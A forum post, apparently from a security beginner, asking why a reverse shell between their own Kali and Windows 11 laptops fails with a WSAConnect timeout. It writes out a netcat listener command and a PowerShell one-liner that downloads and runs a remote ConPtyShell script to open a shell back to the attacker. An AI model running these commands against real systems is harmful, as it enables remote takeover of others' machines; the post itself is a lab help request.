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So I’ve recently developed an interest in information security and have started to learn certain basic hacks such as DOS Attacks and smaller wifi-related “Hacks”. I’m a complete beginner so my knowledge is very limited.

I recently tried to follow a Youtube video on how to execute a reverse shell by NetworkChuck. Link to video: https://www.youtube.com/watch?v=bXCeFPNWjsM

I followed all the steps apart from 1, the step where he creates a cloud hacking machine on a website, I did not do that.

My attacking machine is a Kali Linux laptop. I entered this command into the terminal:

stty raw -echo; (stty size; cat) | nc -lvnp 87 -s <attacking machine IPV4 address> 

My victim machine is a Windows 11 laptop. I entered this command into PowerShell as an admin:

IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell <attacking machine IPV4> 87 

I got these commands from the GitHub repo mentioned in the video, which you can find here: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#fully-interactive-reverse-shell-on-windows:~:text=Fully%20interactive%20reverse%20shell%20on%20Windows

However, whenever I run the command on my Windows machine, I get the following error:

CreatePseudoConsole function found! Spawning a fully interactive shell ConPtyShellException: [-] ConPtyShellException: WSAConnect failed with error code: 10060 at ConPtyShell.connectRemote(String remoteIp, Int32 remotePort) at ConPtyShell.SpawnConPtyShell(String remoteIp, Int32 remotePort, UInt32 rows, UInt32 cols, String commandLine, Boolean upgradeShell) at ConPtyShellMainClass.ConPtyShellMain(String[] args) 

I have tried using my Linux machine’s local IPV4 as well as connecting to a hamachi server and using that IPV4, but alas, the error stays the same.

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I would really appreciate a hand trying to fix this or at least trying to understand what’s going on. I’ve tried to Google it but I can’t quite come up with a good search prompt.

Thank you in advance!